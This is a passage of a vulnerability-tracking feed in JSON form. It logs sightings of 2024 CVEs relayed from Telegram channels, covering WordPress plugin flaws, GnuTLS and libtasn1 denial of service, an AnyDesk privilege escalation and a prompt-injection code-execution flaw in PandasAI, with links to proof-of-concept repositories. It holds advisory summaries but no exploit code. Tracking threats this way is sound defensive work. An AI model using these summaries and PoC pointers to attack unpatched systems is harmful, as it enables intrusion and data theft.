"The Hacker News\nMoxa Issues Fix for Critical Authentication Bypass Vulnerability in PT Switches\n\nTaiwanese company Moxa has released a security update to address a critical security flaw impacting its PT switches that could permit an attacker to bypass authentication guarantees.\nThe vulnerability, tracked as CVE-2024-12297, has been assigned a CVSS v4 score of 9.2 out of a maximum of 10.0.\n\"Multiple Moxa PT switches are vulnerable to an authentication bypass because of flaws in their", "creation_timestamp": "2025-03-11T08:28:13.000000Z"}, {"uuid": "f79517ed-a960-4583-aa95-57cf211e009f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12155", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9329", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-12155 Missing Authorization (CWE-862)\nURL\uff1ahttps://github.com/McTavishSue/CVE-2024-12155\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-06T13:05:28.000000Z"}, {"uuid": "1f998c17-1816-4f28-92b3-22ceb81d315e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/25", "content": "CVE-2024-12754 Anydesk LPE POC\n\nArbitrary File Read / Copy Vulnerability found in Anydesk software\n\nAbuse demo: https://youtu.be/HiOJhEpt5Vo\n\nThx: @Michaelzhm", "creation_timestamp": "2025-02-09T09:05:51.000000Z"}, {"uuid": "6d1753c5-e4f9-4753-9ef8-e6780b7e52df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12452", "type": "seen", "source": "https://t.me/cvedetector/18643", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12452 - Ziggeo WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12452 \nPublished : Feb. 21, 2025, 10:15 a.m. | 2\u00a0hours ago \nDescription : The Ziggeo plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ziggeo_event' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-21T13:55:29.000000Z"}, {"uuid": "219ece9a-3f3c-44d3-976a-bc661d43e7e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12276", "type": "seen", "source": "https://t.me/cvedetector/18642", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12276 - Ultimate Member for WordPress SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12276 \nPublished : Feb. 21, 2025, 10:15 a.m. | 2\u00a0hours ago \nDescription : The Ultimate Member \u2013 User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to second-order SQL Injection via filenames in all versions up to, and including, 2.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with  access to upload files and manage filenames through a third-party plugin like a File Manager, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The risk of this vulnerability is very minimal as it requires a user to be able to manipulate filenames in order to successfully exploit. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-21T13:55:28.000000Z"}, {"uuid": "33feb1d8-4151-4a44-9c98-1c544a0428a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/14", "content": "\ud83d\uddbc AnyDesk \u2014 Local Privilege Escalation (CVE-2024-12754)\n\nA vulnerability in AnyDesk allows low-privileged users to perform arbitrary file read and copy operations with NT AUTHORITY\\SYSTEM privileges. Exploitation is possible by manipulating the background image, creating symbolic links, and leveraging ShadowCopy, granting access to SAM, SYSTEM, and SECURITY files, ultimately leading to privilege escalation to administrator.\n\n\ud83d\udd17 Source:\nhttps://mansk1es.gitbook.io/AnyDesk_CVE-2024-12754\n\n#windows #anydesk #lpe #cve", "creation_timestamp": "2025-02-06T13:40:17.000000Z"}, {"uuid": "15bd3642-1c9f-42d3-9c5b-d9f0633af182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/cKure/14325", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Weaponizing Background Images for Information Disclosure && LPE: AnyDesk CVE-2024-12754, ZDI-24-1711.\n\nhttps://mansk1es.gitbook.io/AnyDesk_CVE-2024-12754", "creation_timestamp": "2025-02-14T18:49:59.000000Z"}, {"uuid": "489d92ae-f3af-451c-b382-b81629ac18ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/cvedetector/18487", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12284 - Citrix NetScaler Console and Agent Authenticated Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12284 \nPublished : Feb. 20, 2025, 12:15 a.m. | 27\u00a0minutes ago \nDescription : Authenticated privilege escalation in\u00a0NetScaler Console and NetScaler Agent allows. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-20T02:16:30.000000Z"}, {"uuid": "ec2e8c3f-4b3e-49b8-a85d-128d5e5c0c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "https://t.me/cvedetector/18408", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12173 - Master Slider Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12173 \nPublished : Feb. 19, 2025, 6:15 a.m. | 2\u00a0hours ago \nDescription : The Master Slider  WordPress plugin before 3.10.5 does not sanitise and escape some of its settings, which could allow high privilege users such as Editor and above to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-19T09:32:36.000000Z"}, {"uuid": "181303e9-881a-4d54-a0a1-cdda90ec1abd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "https://t.me/cvedetector/13450", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12677 - Delta Electronics DTM Soft Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12677 \nPublished : Dec. 20, 2024, 5:15 p.m. | 42\u00a0minutes ago \nDescription : Delta Electronics DTM Soft deserializes objects, which could allow an attacker to execute arbitrary code. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T19:15:39.000000Z"}, {"uuid": "b5da697d-fea3-49e5-b9bc-6aa55cc7f48f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://t.me/cvedetector/19227", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12824 - Nokri \u2013 Job Board WordPress Theme Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12824 \nPublished : March 1, 2025, 7:15 a.m. | 1\u00a0hour, 31\u00a0minutes ago \nDescription : The Nokri \u2013 Job Board WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.2. This is due to the plugin not properly checking for an empty token value prior updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user's password, including administrators, and leverage that to gain access to their account. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-01T10:35:46.000000Z"}, {"uuid": "1b1761ca-0586-4086-9143-e6b9c7cd6e41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://t.me/cvedetector/18298", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12860 - CarSpot \u2013 Dealership Wordpress Classified Theme WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12860 \nPublished : Feb. 18, 2025, 9:15 a.m. | 17\u00a0minutes ago \nDescription : The CarSpot \u2013 Dealership Wordpress Classified Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 2.4.3. This is due to the plugin not properly validating a token prior to updating a user's password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-18T10:57:32.000000Z"}, {"uuid": "e8521c8d-159f-40f3-8d8c-cca59513f2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "Telegram/MDn3J-gZI7WnMy5prxbmMSmCuuwX13pC8UWTypDqOGxF42G_", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "6deb266e-b50f-4f4f-b665-f8ce4d6ff0e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-24)", "content": "", "creation_timestamp": "2026-04-24T00:00:00.000000Z"}, {"uuid": "8556bb50-4640-4ec1-a323-3dcfceaf6b8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12544", "type": "seen", "source": "https://t.me/cvedetector/19220", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12544 - SurveyJS WordPress Form Builder Arbitrary File Deletion Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12544 \nPublished : March 1, 2025, 8:15 a.m. | 31\u00a0minutes ago \nDescription : The SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity plugin for WordPress is vulnerable to arbitrary file deletion due to a missing capability check on the callback function of the SurveyJS_DeleteFile class in all versions up to, and including, 1.12.17. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This function is still vulnerable to Cross-Site Request Forgery as of 1.12.20. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-01T10:35:34.000000Z"}, {"uuid": "61ef594c-2c75-499d-b7fc-595d2faae0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "Telegram/Vj1TNfaxa_A-ifacp4G2Co4PJ9Y6Iti9rQPmBErmx1utlAGh", "content": "", "creation_timestamp": "2025-02-19T15:39:50.000000Z"}, {"uuid": "87d4803a-2876-487d-8e9e-113f2ad73221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12820", "type": "seen", "source": "https://t.me/cvedetector/19129", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12820 - Google Directions WordPress Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12820 \nPublished : Feb. 28, 2025, 6:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The MK Google Directions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'MKGD' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T09:30:03.000000Z"}, {"uuid": "cf2bdc03-7017-4d00-9ee2-5be71401d716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9467", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-12356: Improper Neutralization of Special Elements used in a Command ('Command Injection') (CWE-77)\nURL\uff1ahttps://github.com/cloudefence/CVE-2024-12356\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-17T15:09:54.000000Z"}, {"uuid": "06ea8030-a0c5-4039-b0a7-32db527117fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12811", "type": "seen", "source": "https://t.me/cvedetector/19111", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12811 - WordPress Traveler Theme Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12811 \nPublished : Feb. 28, 2025, 12:15 a.m. | 1\u00a0hour, 42\u00a0minutes ago \nDescription : The Traveler theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.1.8 via the 'hotel_alone_slider' shortcode 'style' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T03:38:53.000000Z"}, {"uuid": "fdf7c678-95eb-41a8-b66c-ed05103f701d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/CIibF5krEqXHuHs5TqPPIuQ0aPwRPsmd2xxsRxQT1I_xhBk", "content": "", "creation_timestamp": "2025-10-25T21:00:05.000000Z"}, {"uuid": "79af5a85-6215-433d-bacb-f49b20dc282d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-24)", "content": "", "creation_timestamp": "2026-04-24T00:00:00.000000Z"}, {"uuid": "4c4a7879-2fd2-44e5-8dab-b8b7f09c533b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12368", "type": "seen", "source": "https://t.me/cvedetector/18904", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12368 - Odoo OAuth Token Export Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12368 \nPublished : Feb. 25, 2025, 6:15 p.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : Improper access control in the auth_oauth module of Odoo Community 15.0 and Odoo Enterprise 15.0 allows an internal user to export the OAuth tokens of other users. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T21:33:58.000000Z"}, {"uuid": "5d69fcc2-2b6d-4d97-93fc-d6a0af724be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "Telegram/wQecxWgLDDEszHf_ZHcPN_MQrQQNon71J0p8rMZMNys_o6yH", "content": "", "creation_timestamp": "2025-03-02T11:46:31.000000Z"}, {"uuid": "9d39356b-744a-4d6b-bd4b-48340848f42d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://t.me/cvedetector/17706", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12366 - PandasAI LLM Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12366 \nPublished : Feb. 11, 2025, 1:15 p.m. | 52\u00a0minutes ago \nDescription : PandasAI uses an interactive prompt function that is vulnerable to prompt injection and run arbitrary Python code that can lead to Remote Code Execution (RCE) instead of the intended explanation of the natural language processing by the LLM. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T15:41:46.000000Z"}, {"uuid": "3a96e75d-81e1-4c67-a187-3f1aea4c3091", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12706", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13719", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12706\n\ud83d\udd25 CVSS Score: 2.1 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:L/SA:L/S:N/AU:N/R:A/V:C/RE:M/U:Red)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in OpenText\u2122 Digital Asset Management. T\n\nhe vulnerability could allow an authenticated user to run arbitrary SQL commands on the underlying database. \n\nThis issue affects Digital Asset Management.: through 24.4.\n\ud83d\udccf Published: 2025-04-28T17:59:56.359Z\n\ud83d\udccf Modified: 2025-04-28T17:59:56.359Z\n\ud83d\udd17 References:\n1. https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0840263", "creation_timestamp": "2025-04-28T18:11:00.000000Z"}, {"uuid": "704593be-3695-4528-ae1d-d3111b3ea330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "Telegram/z3TvDyHJ2ZNCRJ0X9w9PtwT_1v_yQk-ihtqyZcMIGAQJgDU", "content": "", "creation_timestamp": "2026-04-16T03:00:06.000000Z"}, {"uuid": "db343f91-a617-42b0-ad3c-34adf5dbcdd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "Telegram/yG0q3IpDztUHkWGWcBfSkFN1RblCcRFZP5pQldEwVfp_P8g", "content": "", "creation_timestamp": "2026-04-16T09:00:04.000000Z"}, {"uuid": "d1fa95c6-0ec8-4904-b664-f63e1c2635b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "Telegram/Kzcu-nWqygACCMOWBfIjlz_eAnGqhMjZ8fsj3WAwZDq0RWMl", "content": "", "creation_timestamp": "2025-02-14T10:08:08.000000Z"}, {"uuid": "3c5b3a41-cfb7-487d-bbcd-473ae6fb497a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "https://t.me/cvedetector/17660", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12599 - Elementor Absolute Addons for WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12599 \nPublished : Feb. 11, 2025, 5:15 a.m. | 41\u00a0minutes ago \nDescription : The HT Mega \u2013 Absolute Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Countdown widget in all versions up to, and including, 2.8.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T07:18:59.000000Z"}, {"uuid": "b63abbe1-9dbc-4c0f-b205-4b20a2471671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "Telegram/TGTdUmpe3oVtQ9i5PX6XiP63se6iL_kSDHplHBxLtYr6j3f1", "content": "", "creation_timestamp": "2025-02-14T21:08:30.000000Z"}, {"uuid": "2159708e-c172-482c-b4c3-5157429f7a95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://t.me/cvedetector/17577", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12133 - Git - Libtasn1 Infinite Loop Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-12133 \nPublished : Feb. 10, 2025, 4:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-10T18:45:54.000000Z"}, {"uuid": "f5658378-e578-4847-b329-5722c8f5059b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "Telegram/eHEjQCiSTDqdk9YFMewvBbbqxj24kA_-fNM16rcTTHsyl0hG", "content": "", "creation_timestamp": "2025-02-14T10:04:00.000000Z"}, {"uuid": "600553fb-bacb-4de8-8b73-b9a7b1c4eebc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://t.me/cvedetector/17578", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12243 - GnuTLS Denial-of-Service Remote Certificate Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12243 \nPublished : Feb. 10, 2025, 4:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-10T18:45:55.000000Z"}, {"uuid": "9eaa5024-2a9e-485e-b9d2-d9ba80d1986c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9603", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1a\ud83d\udc0d SQL Injection (SQLi)  \ud83d\udea8 Cross-Site Scripting (XSS)  \ud83d\udd10 Remote Code Execution (RCE)  \ud83d\udd0d And more!\nURL\uff1ahttps://github.com/Rehan07-Human/Exploiting-RCE-Cyber_Project_CVE-2024-1212\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-12-25T14:36:21.000000Z"}, {"uuid": "289af9c0-6100-4e08-82a7-70740e936da0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12273", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13795", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12273\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Calculated Fields Form WordPress plugin before 5.2.62 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-04-29T06:00:02.228Z\n\ud83d\udccf Modified: 2025-04-29T06:00:02.228Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/90333618-2be7-49cf-822a-819699f07977/", "creation_timestamp": "2025-04-29T07:12:11.000000Z"}, {"uuid": "ec03e78a-7ec8-40e8-86f2-85c97517f994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1555", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: 